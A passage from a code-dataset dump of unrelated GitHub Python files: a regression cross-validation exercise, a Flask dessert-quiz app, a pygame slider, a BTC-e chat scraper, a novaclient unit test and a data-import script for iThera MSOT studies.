plt.show()\n #From this experimental plot, we see degree 2-4 are quite well fitting\n #not only on the training data but also on the testing data\n #Overfitting -- Fitting the underlying process and the internal noise \n #For linear data predictive ability of first order fit\n #is much better than second order fit.\n #Our objective should be Balancing Fit with Complexity\n\n\n #Leave out one cross Validation -- For small dataset\n #leave one data out and create model using other vals, and test on left out value\n #Similarly for other values in the dataset\n\n #K fold Cross Validation\n #instead of leaving one out, just leave k sized group out\n #later use for testing\n\n #Random sampling Validation\n #Selecting some random n values (20%-30%)\n\n\n #Doing this complete predictionality\n\n #def lectureFittingTemperature():\n def rSquared(observed, predicted):\n error = ((predicted - observed)**2).sum()\n meanError = error/len(observed)\n return 1 - (meanError/numpy.var(observed))\n\n def genFits(xVals, yVals, degrees):\n models = []\n for d in degrees:\n model = numpy.polyfit(xVals, yVals, d)\n models.append(model)\n return models\n\n def testFits(models, degrees, xVals, yVals, title):\n plt.plot(xVals, yVals, 'o', label = 'Data')\n for i in range(len(models)):\n estYVals = plt.polyval(models[i], xVals)\n error = rSquared(yVals, estYVals)\n plt.plot(xVals, estYVals,\n label = 'Fit of degree '\\\n + str(degrees[i])\\\n + ', R2 = ' + str(round(error, 5)))\n plt.legend(loc = 'best')\n plt.title(title)\n\n def getData(fileName):\n dataFile = open(fileName, 'r')\n distances = []\n masses = []\n dataFile.readline() #discard header\n for line in dataFile:\n d, m = line.split()\n distances.append(float(d))\n masses.append(float(m))\n dataFile.close()\n return (masses, distances)\n\n def labelPlot():\n pylab.title('Measured Displacement of Spring')\n pylab.xlabel('|Force| (Newtons)')\n pylab.ylabel('Distance (meters)')\n\n def plotData(fileName):\n xVals, yVals = getData(fileName)\n xVals = pylab.array(xVals)\n yVals = pylab.array(yVals)\n xVals = xVals*9.81 #acc. due to gravity\n pylab.plot(xVals, yVals, 'bo',\n label = 'Measured displacements')\n labelPlot()\n\n def fitData(fileName):\n xVals, yVals = getData(fileName)\n xVals = pylab.array(xVals)\n yVals = pylab.array(yVals)\n xVals = xVals*9.81 #get force\n pylab.plot(xVals, yVals, 'bo',\n label = 'Measured points') \n model = pylab.polyfit(xVals, yVals, 1)\n xVals = xVals + [2]\n yVals = yVals + []\n estYVals = pylab.polyval(model, xVals)\n pylab.plot(xVals, estYVals, 'r',\n label = 'Linear fit, r**2 = '\n + str(round(rSquared(yVals, estYVals), 5))) \n model = pylab.polyfit(xVals, yVals, 2)\n estYVals = pylab.polyval(model, xVals)\n pylab.plot(xVals, estYVals, 'g--',\n label = 'Quadratic fit, r**2 = '\n + str(round(rSquared(yVals, estYVals), 5)))\n pylab.title('A Linear Spring')\n labelPlot()\n pylab.legend(loc = 'best')\n\n random.seed(0)\n\n class tempDatum(object):\n def __init__ (self, s):\n info = s.split(',')\n self.high = info[1]\n self.year = int(info[2][0:4])\n\n def getHigh(self):\n return self.high\n\n def getYear(self):\n return self.year\n\n def getTempData():\n inFile = open('temperatures.csv')\n data = []\n for l in inFile:\n data.append(tempDatum(l))\n return data\n\n def getYearlyMeans(data):\n years = {}\n for d in data:\n try:\n years[d.getYear()].append(d.getHigh())\n except:\n years[d.getYear()] = [d.getHigh()]\n for y in years:\n years[y] = sum(years[y])/len(years[y])\n return years\n\n data = getTempData()\n years= getYearlyMeans(data)\n xVals, yVals = [], []\n for e in years:\n xVals.append(e)\n yVals.append(years[e])\n plt.plot(xVals, yVals)\n plt.xlabel('Year')\n plt.ylabel('Mean daily high temperature')\n\n def splitData(xVals, yVals):\n toTrain = random.sample(range(len(xVals)), len(xVals)//2)\n trainX, trainY, testX, testY = [], [], [], []\n for i in range(len(xVals)):\n if i in toTrain:\n trainX.append(xVals[i])\n trainY.append(yVals[i])\n else:\n testX.append(xVals[i])\n testY.append(yVals[i])\n return trainX, trainY, testX, testY\n\n numSubsets = 10\n dimensions = (1, 2, 3, 4)\n rSquares = {}\n for d in dimensions:\n rSquares[d] = []\n \n for f in range(numSubsets):\n trainX, trainY, testX, testY = splitData(xVals, yVals)\n for d in dimensions:\n model = numpy.polyfit(trainX, trainY, d)\n estYVals = nunpy.polyval(model, trainX)\n estYVals = numpy.polyval(model, testX)\n rSquares[d].append(rSquared(testY, estYVals))\n print('Mean R-squares for test data')\n for d in dimensions:\n mean = round(sum(rSquares[d])/len(rSquares[d]), 4)\n sd = round(numpy.std(rSquares[d]), 4)\n print('For dimensionality', d, 'mean =', mean,\n 'Std =', sd)\n print(rSquares[1])\n","repo_name":"hkskunal077/ML-Algorithms-From-Scratch","sub_path":"Regression/n-dimRegression.py","file_name":"n-dimRegression.py","file_ext":"py","file_size_in_byte":8691,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"33022629036","text":"from flask import Flask\nfrom flask import render_template\nfrom flask import Response, request, jsonify\nfrom random import randint\nimport socket\napp = Flask(__name__)\n\n\ndesserts = {\n \"1\":{\n \"id\": \"1\",\n \"name\":\"German Chocolate Cake\",\n \"description\": [\"layered chocolate cake\", \"topped with coconut pecan frosting\"],\n \"country\": \"United States\",\n \"image\":\"/static/images/german.jpg\",\n \"map\":\"/static/images/usa.jpg\"\n },\n \"2\":{\n \"id\": \"2\",\n \"name\":\"Sopaipilla\",\n \"description\": [\"light and crispy pastry puff\", \"deep fried dough\"],\n \"country\": \"United States\",\n \"image\":\"/static/images/sopaipilla.jpg\",\n \"map\":\"/static/images/usa.jpg\"\n },\n \"3\":{\n \"id\": \"3\",\n \"name\":\"Nanaimo Bars\",\n \"description\": [\"no bake layered bar cookie\", \"wafer crumb base, icing, chocolate gaanche\"],\n \"country\": \"Canada\",\n \"image\":\"/static/images/nanaimo.jpg\",\n \"map\":\"/static/images/canada.jpg\"\n },\n \"4\":{\n \"id\": \"4\",\n \"name\":\"Beavertail\",\n \"description\": [\"fried dough pastry \", \"topped w sweet condiments\"],\n \"country\": \"Canada\",\n \"image\":\"/static/images/beavertail.jpg\",\n \"map\":\"/static/images/canada.jpg\"\n },\n \"5\":{\n \"id\": \"5\",\n \"name\":\"Ube Halaya\",\n \"description\": [\"purple yam jam\", \"sweetened spread made of ube, butter, sugar, and coconut milk\"],\n \"country\": \"Philippines\",\n \"image\":\"/static/images/ube.jpg\",\n \"map\":\"/static/images/philippines.jpg\"\n },\n \"6\":{\n \"id\": \"6\",\n \"name\":\"Buko Pandan\",\n \"description\": [\"young coconut, pandan leaves, and ago pearls\"],\n \"country\": \"Philippines\",\n \"image\":\"/static/images/buko.jpg\",\n \"map\":\"/static/images/philippines.jpg\"\n },\n \"7\":{\n \"id\": \"7\",\n \"name\":\"Jalebi\",\n \"description\": [\"deep fried flour in a ciruclar pattern and soaked in simple syrup\"],\n \"country\": \"India\",\n \"image\":\"/static/images/jalebi.jpg\",\n \"map\":\"/static/images/india.jpg\"\n },\n \"8\":{\n \"id\": \"8\",\n \"name\":\"Gulab Jamun\",\n \"description\": [\"milk and semolina dough soaked with an aromatic spiced syrup \"],\n \"country\": \"India\",\n \"image\":\"/static/images/gulab.jpg\",\n \"map\":\"/static/images/india.jpg\"\n },\n \"9\":{\n \"id\": \"9\",\n \"name\":\"Danish Pastries\",\n \"description\": [\"multi-layered sweet pastry\", \"fillings can include almond cream, fruity jams\"],\n \"country\": \"France\",\n \"image\":\"/static/images/danish.jpg\",\n \"map\":\"/static/images/france.jpg\"\n },\n \"10\":{\n \"id\": \"10\",\n \"name\":\"Crepe Cake\",\n \"description\": [\"thin layers of crepes sandwiched with pastry cream\"],\n \"country\": \"France\",\n \"image\":\"/static/images/crepe.jpg\",\n \"map\":\"/static/images/france.jpg\"\n },\n}\n\nquestions = {\n \"1\":{\n \"id\":\"1\",\n \"question\":\"Where does German Chocolate Cake originate from?\",\n \"options\":[\"United States\",\"Germany\",\"Canada\",\"Cuba\"],\n \"answer\":\"United States\",\n \"format\":\"choice\"\n },\n \"2\":{\n \"id\":\"2\",\n \"question\":\"Where does Sopaipilla originate from?\",\n \"options\":[\"Denmark\",\"Canada\",\"United States\",\"Mexico\"],\n \"answer\":\"United States\",\n \"format\":\"choice\"\n },\n \"3\":{\n \"id\":\"3\",\n \"question\":\"Choose the appropriate description for the dessert.\",\n \"options\":[\"protein bars\",\"layered cookie bars\",\"savory bars\",\"chocolate layered bars\"],\n \"answer\":\"layered cookie bars\",\n \"format\":\"choice\"\n },\n \"4\":{\n \"id\":\"4\",\n \"question\":\"Where do Beavertails originate from?\",\n \"options\":[\"Canada\",\"France\",\"Denmark\",\"United States\"],\n \"answer\":\"Canada\",\n \"format\":\"choice\"\n },\n \"5\":{\n \"id\":\"5\",\n \"question\":\"Choose the appropriate description for the dessert.\",\n \"options\":[\"taro pudding\",\"purple yam jam\", \"purple rice cake\", \"acai\"],\n \"answer\":\"purple yam jam\",\n \"format\":\"choice\"\n },\n \"6\":{\n \"id\":\"6\",\n \"question\":\"Where does Buko Pandan originate from?\",\n \"options\":[\"Philippines\",\"Germany\",\"Denmark\",\"United States\"],\n \"answer\":\"Philippines\",\n \"format\":\"choice\"\n },\n \"7\":{\n \"id\":\"7\",\n \"question\":\"Which dessert originated from India?\",\n \"options\":[\"Paneer Tikka\",\"Jalebi\",\"Chana Masala\",\"Rose Cardamom Pops\"],\n \"answer\":\"Jalebi\",\n \"format\":\"choice\"\n },\n \"8\":{\n \"id\":\"8\",\n \"question\":\"Where does Gulab Jamun originate from?\",\n \"options\":[\"Philippines\", \"United States\", \"Mexico\",\"India\"],\n \"answer\":\"India\",\n \"format\":\"choice\"\n },\n \"9\":{\n \"id\":\"9\",\n \"question\":\"Which dessert originated from the France?\",\n \"options\":[\"Danish Pastries\",\"Beavertails\",\"Crepe Cake\",\"Nanaimo Bars\"],\n \"answer\":\"Danish Pastries\",\n \"format\":\"choice\"\n },\n \"10\":{\n \"id\":\"10\",\n \"question\":\"Where does Crepe Cake originate from?\",\n \"options\":[\"Germany\", \"United States\",\"Mexico\",\"France\"],\n \"answer\":\"France\",\n \"format\":\"choice\"\n },\n \"11\":{\n \"id\":\"11\",\n \"question\":\"Match the dessert image to the name.\",\n \"options\":[\"1\",\"3\",\"5\",\"7\",\"9\"],\n \"format\":\"drag\"\n },\n \"12\":{\n \"id\":\"12\",\n \"question\":\"Match the dessert image to the name.\",\n \"options\":[\"2\",\"4\",\"6\",\"8\",\"10\"],\n \"format\":\"drag\"\n }\n}\n\n\nuserLearn = {\n \"1\":{\n \"id\": \"1\",\n \"name\":\"German Chocolate Cake\",\n \"page\": \"/learn/1\",\n \"enteredTime\": \"0\",\n \"timeOnPage\":\"0\"\n },\n \"2\":{ \n \"id\": \"2\",\n \"name\":\"Sopaipilla\",\n \"page\": \"/learn/2\",\n \"enteredTime\": \"0\",\n \"timeOnPage\":\"0\"\n },\n \"3\":{\n \"id\": \"3\",\n \"name\":\"\",\n \"page\": \"/learn/3\",\n \"enteredTime\":\"0\",\n \"timeOnPage\":\"0\"\n },\n \"4\":{\n \"id\": \"4\",\n \"name\":\"Beavertail\",\n \"page\": \"/learn/4\",\n \"enteredTime\":\"0\",\n \"timeOnPage\":\"0\"\n \n },\n \"5\":{\n \"id\": \"5\",\n \"name\":\"Ube Halaya\",\n \"page\": \"/learn/5\",\n \"enteredTime\": \"0\",\n \"timeOnPage\":\"0\"\n },\n \"6\":{\n \"id\": \"6\",\n \"name\":\"Buko Pandan\",\n \"page\": \"/learn/6\",\n \"enteredTime\":\"0\",\n \"timeOnPage\":\"0\"\n },\n \"7\":{\n \"id\": \"7\",\n \"name\":\"Jalebi\",\n \"page\": \"/learn/7\",\n \"enteredTime\":\"0\",\n \"timeOnPage\":\"0\"\n },\n \"8\":{\n \"id\": \"8\",\n \"name\":\"Gulab Jamun\",\n \"page\": \"/learn/8\",\n \"enteredTime\": \"0\",\n \"timeOnPage\":\"0\"\n },\n \"9\":{\n \"id\": \"9\",\n \"name\":\"Danish Pastries\",\n \"page\": \"/learn/9\",\n \"enteredTime\": \"0\",\n \"timeOnPage\":\"0\"\n },\n \"10\":{\n \"id\": \"10\",\n \"name\":\"Crepe Cake\",\n \"page\": \"/learn/10\",\n \"enteredTime\": \"0\",\n \"timeOnPage\":\"0\"\n },\n \"quiz\":{\n \"id\": 0,\n \"visited\": [],\n \"total\": \"0\",\n \"score\": \"0.0\",\n \"northAmerica\": [\"0\",\"0\"],\n \"asia\": [\"0\",\"0\"],\n \"europe\": [\"0\",\"0\"]\n }\n}\n\n@app.route('/')\ndef homepage():\n return render_template('homepage.html')\n\n\n@app.route('/learn')\ndef learn():\n return render_template('learn.html')\n \n\n@app.route('/learn/')\ndef view_dessert(id=None):\n global desserts \n dessert = desserts[id]\n print(dessert)\n \n return render_template('view_dessert.html', data = dessert, id = id)\n\n@app.route('/enter_user', methods=['POST'])\ndef edit_enter():\n global userLearn\n global desserts\n\n json_data = request.get_json() \n print(json_data)\n\n key = json_data['id']\n viewing = userLearn[key]\n if type(viewing) is tuple:\n viewing = viewing[0]\n print(viewing)\n\n\n value = {\n \"id\":key,\n \"name\":desserts[key][\"name\"],\n \"page\": \"/learn/\" + key,\n \"enteredTime\": json_data[\"enteredTime\"],\n \"timeOnPage\": viewing[\"timeOnPage\"]\n },\n userLearn[key] = value\n\n return jsonify(data = userLearn[key], id=key)\n\n@app.route('/leave_user', methods=['POST'])\ndef edit_time():\n global userLearn\n global desserts\n\n json_data = request.get_json()\n print(json_data)\n\n key = json_data['id']\n viewing = userLearn[key]\n if type(viewing) is tuple:\n viewing = viewing[0]\n print(viewing)\n time = str(int(json_data[\"leftTime\"]) - int(viewing[\"enteredTime\"]))\n\n value = {\n \"id\":key,\n \"name\":desserts[key][\"name\"],\n \"page\": \"/learn/\" + key,\n \"entertedTime\": viewing[\"enteredTime\"],\n \"timeOnPage\": time\n },\n userLearn[key] = value\n\n return jsonify(data = userLearn[key], id=key)\n\n\n\n\n@app.route('/quiz', methods=['GET', 'POST'])\ndef quiz():\n global userLearn\n \n user = userLearn[\"quiz\"]\n \n question_value = find_question()\n question = questions[str(question_value)]\n \n \n return render_template('quiz.html', desserts = desserts, question = question, question_value=question_value, user = user)\n \n\n@app.route('/answer_question', methods=['GET', 'POST'])\ndef answer_question():\n global userLearn\n \n json_data = request.get_json()\n userId = json_data[\"id\"]\n visited = json_data[\"visited\"]\n total = json_data[\"total\"]\n score = json_data[\"score\"]\n northAmerica = json_data[\"northAmerica\"]\n asia = json_data[\"asia\"]\n europe = json_data[\"europe\"]\n \n userLearn[\"quiz\"] = {\n \"id\": userId,\n \"visited\": visited,\n \"total\": total,\n \"score\": score,\n \"northAmerica\": northAmerica,\n \"asia\": asia,\n \"europe\": europe\n }\n \n return jsonify(id = userId)\n \n \n@app.route('/results')\ndef results():\n global userLearn\n \n user = userLearn[\"quiz\"]\n \n userLearn[\"quiz\"] = {\n \"id\": 0,\n \"visited\": [],\n \"total\": \"0\",\n \"score\": \"0.0\",\n \"northAmerica\": [\"0\",\"0\"],\n \"asia\": [\"0\",\"0\"],\n \"europe\": [\"0\",\"0\"]\n }\n \n return render_template('results.html', desserts = desserts, user = user)\n \ndef find_question():\n global questions\n global userLearn\n \n if int(userLearn[\"quiz\"][\"total\"]) < 2:\n question_value = int(userLearn[\"quiz\"][\"total\"])%5 + 11\n \n if int(userLearn[\"quiz\"][\"total\"]) >= 2 and int(userLearn[\"quiz\"][\"total\"]) < 5:\n question_value = randint(1, 4)\n while question_value in userLearn[\"quiz\"][\"visited\"]:\n question_value = randint(1, 4)\n \n if int(userLearn[\"quiz\"][\"total\"]) >= 5 and int(userLearn[\"quiz\"][\"total\"]) < 8:\n question_value = randint(5, 8)\n while question_value in userLearn[\"quiz\"][\"visited\"]:\n question_value = randint(5, 8)\n \n if int(userLearn[\"quiz\"][\"total\"]) >= 8:\n question_value = randint(9, 10)\n while question_value in userLearn[\"quiz\"][\"visited\"]:\n question_value = randint(9, 10)\n \n return question_value\n\n\nif __name__ == '__main__':\n app.run(debug = True)","repo_name":"IsabelMacgill/UI_Project","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":11138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16092465747","text":"import pygame\n\nimport util\n\nclass Slider(object):\n def __init__(self, surface, rail_rect, handle_width, handle_height, value=0.5):\n self.surface = surface\n self.rail_rect = rail_rect\n self.handle_width = handle_width\n self.handle_height = handle_height\n self.value = value\n self.moving = False\n\n def set_value(self, x):\n x_max = self.rail_rect.x + self.rail_rect.width - self.handle_width\n x_min = self.rail_rect.x\n if not (x_min < x < x_max):\n return\n self.value = util.iscale(x_min, x_max, x)\n\n def get_handle_rect(self):\n handle_x = util.scale(self.rail_rect.x,\n self.rail_rect.x + self.rail_rect.width - self.handle_width,\n self.value)\n handle_y = self.rail_rect.y + (self.rail_rect.height - self.handle_height) // 2\n return pygame.Rect(handle_x, handle_y, self.handle_width, self.handle_height)\n\n def draw(self):\n rail_color = pygame.Color(\"#232323\")\n handle_color = pygame.Color(\"#FFFFFF\")\n pygame.draw.rect(self.surface, rail_color, self.rail_rect)\n pygame.draw.rect(self.surface, handle_color, self.get_handle_rect())\n","repo_name":"zzggbb/waves","sub_path":"slider.py","file_name":"slider.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"25175213081","text":"import datetime\nimport warnings\ntry:\n from HTMLParser import HTMLParser\nexcept ImportError:\n from html.parser import HTMLParser\n\n\nclass BTCEScraper(HTMLParser):\n def __init__(self):\n HTMLParser.__init__(self)\n self.messageId = None\n self.messageTime = None\n self.messageUser = None\n self.messageText = None\n self.messages = []\n\n self.inMessageA = False\n self.inMessageSpan = False\n\n self.devOnline = False\n self.supportOnline = False\n self.adminOnline = False\n\n def handle_data(self, data):\n # Capture contents of and tags, which contain\n # the user ID and the message text, respectively.\n if self.inMessageA:\n self.messageUser = data.strip()\n elif self.inMessageSpan:\n self.messageText = data.strip()\n\n def handle_starttag(self, tag, attrs):\n if tag == 'p':\n # Check whether this

    tag has id=\"msgXXXXXXXX\" and\n # class=\"chatmessage *\"; if not, it doesn't contain a message.\n messageId = None\n for k, v in attrs:\n if k == 'id':\n if v[:3] != 'msg':\n return\n messageId = v\n if k == 'class' and 'chatmessage' not in v:\n return\n\n # This appears to be a message

    tag, so set the message ID.\n # Other code in this class assumes that if self.messageId is None,\n # the tags being processed are not relevant.\n if messageId is not None:\n self.messageId = messageId\n elif tag == 'a':\n if self.messageId is not None:\n # Check whether this tag has class=\"chatmessage\" and a\n # time string in the title attribute; if not, it's not part\n # of a message.\n messageTime = None\n for k, v in attrs:\n if k == 'title':\n messageTime = v\n if k == 'class' and v != 'chatmessage':\n return\n\n if messageTime is None:\n return\n\n # This appears to be a message tag, so remember the message\n # time and set the inMessageA flag so the tag's data can be\n # captured in the handle_data method.\n self.inMessageA = True\n self.messageTime = messageTime\n else:\n for k, v in attrs:\n if k != 'href':\n continue\n\n # If the tag for dev/support/admin is present, then\n # they are online (otherwise nothing appears on the\n # page for them).\n if v == 'https://btc-e.com/profile/1':\n self.devOnline = True\n elif v == 'https://btc-e.com/profile/2':\n self.supportOnline = True\n elif v == 'https://btc-e.com/profile/3':\n self.adminOnline = True\n elif tag == 'span':\n if self.messageId is not None:\n self.inMessageSpan = True\n\n def handle_endtag(self, tag):\n if tag == 'p' and self.messageId is not None:\n # exiting from the message

    tag\n\n # check for invalid message contents\n if self.messageId is None:\n warnings.warn(\"Missing message ID\")\n if self.messageUser is None:\n warnings.warn(\"Missing message user\")\n if self.messageTime is None:\n warnings.warn(\"Missing message time\")\n\n if self.messageText is None:\n # messageText will be None if the message consists entirely\n # of emoticons.\n self.messageText = ''\n\n # parse message time\n t = datetime.datetime.now()\n messageTime = t.strptime(self.messageTime, '%d.%m.%y %H:%M:%S')\n\n self.messages.append((self.messageId, self.messageUser,\n messageTime, self.messageText))\n self.messageId = None\n self.messageUser = None\n self.messageTime = None\n self.messageText = None\n elif tag == 'a' and self.messageId is not None:\n self.inMessageA = False\n elif tag == 'span':\n self.inMessageSpan = False\n\n\nclass ScraperResults(object):\n __slots__ = ('messages', 'devOnline', 'supportOnline', 'adminOnline')\n\n def __init__(self):\n self.messages = None\n self.devOnline = False\n self.supportOnline = False\n self.adminOnline = False\n\n def __getstate__(self):\n return dict((k, getattr(self, k)) for k in ScraperResults.__slots__)\n\n def __setstate__(self, state):\n for k, v in state.items():\n setattr(self, k, v)\n\n\n","repo_name":"CodeReclaimers/btce-api","sub_path":"btceapi/scraping.py","file_name":"scraping.py","file_ext":"py","file_size_in_byte":4946,"program_lang":"python","lang":"en","doc_type":"code","stars":191,"dataset":"github-code","pt":"3"} +{"seq_id":"36111940617","text":"from novaclient import api_versions\nfrom novaclient.tests.unit import utils\nfrom novaclient.tests.unit.v2 import fakes\n\n\nclass AssistedVolumeSnapshotsTestCase(utils.TestCase):\n def setUp(self):\n super(AssistedVolumeSnapshotsTestCase, self).setUp()\n self.cs = fakes.FakeClient(api_versions.APIVersion(\"2.1\"))\n\n def test_create_snap(self):\n vs = self.cs.assisted_volume_snapshots.create('1', {})\n self.assert_request_id(vs, fakes.FAKE_REQUEST_ID_LIST)\n self.cs.assert_called('POST', '/os-assisted-volume-snapshots')\n\n def test_delete_snap(self):\n vs = self.cs.assisted_volume_snapshots.delete('x', {})\n self.assert_request_id(vs, fakes.FAKE_REQUEST_ID_LIST)\n self.cs.assert_called(\n 'DELETE',\n '/os-assisted-volume-snapshots/x?delete_info={}')\n","repo_name":"openstack/python-novaclient","sub_path":"novaclient/tests/unit/v2/test_assisted_volume_snapshots.py","file_name":"test_assisted_volume_snapshots.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":381,"dataset":"github-code","pt":"3"} +{"seq_id":"8133463049","text":"# Copyright (c) Thomas Else 2023.\r\n# License: MIT\r\n\r\nimport argparse\r\nimport glob\r\nfrom os import makedirs, system\r\nfrom os.path import join, split, exists\r\n\r\n\r\ndef init_argparse():\r\n parser = argparse.ArgumentParser(\r\n usage=\"%(prog)s [-hv] input output\",\r\n description=\"Convert iThera MSOT Data into a hdf5 format. .\"\r\n )\r\n parser.add_argument(\r\n \"-v\", \"--version\", action=\"version\",\r\n version=f\"{parser.prog} version 0.1\"\r\n )\r\n parser.add_argument('input', type=str, help=\"iThera Studies Folder\")\r\n parser.add_argument('output', help=\"Empty Output Folder\")\r\n parser.add_argument('-u', '--update', type=bool, default=False, help=\"Update metadata\")\r\n parser.add_argument('-g', '--dontgetrecons', type=bool, default=False, help=\"Don't get Recons\")\r\n return parser\r\n\r\n\r\ndef main():\r\n p = init_argparse()\r\n args = p.parse_args()\r\n\r\n for folder in glob.glob(join(args.input, \"Study_*\")):\r\n study_name = split(folder)[-1]\r\n print(f\"-----{study_name}-----\")\r\n study_output = join(args.output, study_name)\r\n if not exists(study_output):\r\n makedirs(study_output)\r\n system(f\"patato-import-ithera \\\"{folder}\\\" \\\"{study_output}\\\"\" + (\r\n \" -g True\" if args.dontgetrecons else \"\"))\r\n","repo_name":"tomelse/patato","sub_path":"patato/convenience_scripts/import_clinical_data.py","file_name":"import_clinical_data.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"}